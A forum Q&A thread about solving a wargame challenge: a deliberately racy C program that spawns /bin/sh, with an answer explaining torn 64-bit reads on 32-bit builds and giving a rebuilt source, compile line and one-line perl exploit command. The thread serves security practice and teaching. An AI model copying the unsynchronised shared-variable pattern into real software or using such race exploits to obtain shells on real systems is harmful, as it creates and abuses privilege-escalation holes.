Help with identifying race condition in wargame

Question

I've been trying for the past week to solve a wargame - where I am given a program and need to find the correct input (usually malformed, malicious, or otherwise) to get it to execute code that I want. I've been struggling with the following problem and wanted to see if anyone here has advice or ideas to try. The code is the following

unsigned long long passcode = 0xbadc0dedecadeull, code = 0, v;
int finished = 0;

void* tryAllCodes(void* ptr) {
    char** codes = (char**) ptr;

    while(*++codes) {
        printf(".");
        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx
        code = (v != passcode)? v : 0;
    }

    finished = 1;
}


int main(int argc, char** argv) {
    char *args[] = { "/bin/sh", 0};
    pthread_t t;
    pthread_create(&t, NULL, tryAllCodes, argv);

    while(!finished)
        if(code == passcode) { // code is stored in ebx:ecx
            printf("Win!\n");
            execve(*args, args, 0);
        }

    pthread_join(t, NULL);
    return 0;
}

I believe there is a race condition here because there is no mutex around the access to the variable code, and I've gotten it to happen by setting breakpoints in the tryAllCodes function with gdb and letting the main thread continue to run. I believe this was because the registers that v and code are stored in when checking their value are the same, so if the context jumps out of tryAllCodes with v set to passcode before it gets zeroized I enter the win block. Unfortunately I need to get this same behavior without using a debugger - so my question is does my approach of exploiting a race condition seem correct, or is there something else I'm overlooking? If so, is there a way on linux to cause a thread to yield execution more often? I tried renice on the tryAllCodes thread but it seems to just cause to program to spin in the main loop.

Thanks a bunch

Answer 1

Hmm this code will probably not work if optimized because the shared globals are not pointers nor are they marked as volatile. This means that the compiler is free to assume the globals are accessed from one thread only so most likely the

while(!passcode)

will be optimized to always be true and therefore result in an eternal loop. Really should mark this volatile if they're intended to be shared between threads.

I think you're right about the race condition being what they expect you to exploit here. The key is to realize that the read from code happens in two instructions in the main thread and the write to code happens in two instructions in the spawned thread due to this being a 64 bit variable. So what you want to do is to hit it like this:

• The spawned thread writes two 32 bit parts of code. The lower 32 bits are equal to the lower 32 bits of passcode while the upper aren't.
• The main thread then reads the lower 32 bit part of code into a register.
• The spawned thread preempts (simply due to the processor being multicore), writes two 32 bit parts of code. The lower 32 bits are not equal to the lower 32 bits of passcode while the upper are.
• The main thread then reads the upper 32 bit part of code into a register.
• This means that the main thread will have the 64 bit value of passcode in its registers without that value being what's written by the spawned thread.

In order to do this you need a very very long argument list with values such that this condition can happen. Possibly generating a few competing processes for processor time to maximize preemption.

The order of lower and upper bits being correct depend on the specifics of the machine code the threads are running. Which you probably know since I assume you have access to the binary.

The two load and store instructions are also likely to be positioned extremely close to each other so whether the exact sequence of events is likely to occur will be very dependent on the CPU architecture. It's possible that the instructions are seen as independent and scheduled on two different pipelines due to superscalarity. This of course depends on how the CPU schedules loads and stores..

The issue seems much easier to exploit on a multicore system due to you not having to depend on super accurate preemption. It might also be harder to exploit on a 64 bit OS running a 32 bit process.

All of this doesn't really matter because in the end all you can really do is throw a huge number of arguments at it and pray as far as I can see.

Spoilers

As I was kind of curious under what conditions this was reliably exploitable I had to test some stuff. If you're doing the same, here's the fixed source and the exploit. This should allow you to do some local experimentation. Like I expected it seems to be extremely unlikely to hit a context switch at the right moment so on a single core CPU this is a nightmare. On a multicore CPU both threads are spinning in parallel so it's much more likely to hit the right conditions.

Code

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>

volatile unsigned long long passcode = 0xbadc0dedecadeull;
volatile unsigned long long code = 0;
volatile unsigned long long v;
volatile int finished = 0;

void* tryAllCodes(void* ptr) {
    char** codes = (char**) ptr;

    while(*++codes) {
        printf(".");
        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx
        code = (v != passcode)? v : 0;
    }

    finished = 1;
    return 0;
}

int main(int argc, char** argv) {
    char *args[] = { "/bin/sh", 0};
    pthread_t t;
    pthread_create(&t, NULL, tryAllCodes, argv);

    while(!finished)
        if(code == passcode) { // code is stored in ebx:ecx
            printf("Win!\n");
            execve(*args, args, 0);
        }

    pthread_join(t, NULL);
    return 0;
}

Compile with

gcc -std=c99 -Wall -Wpedantic -pthread -m32 -O2 -o race race.c

Exploit with

./race `perl -e "print 'dedecade badc000000000 'x90870"`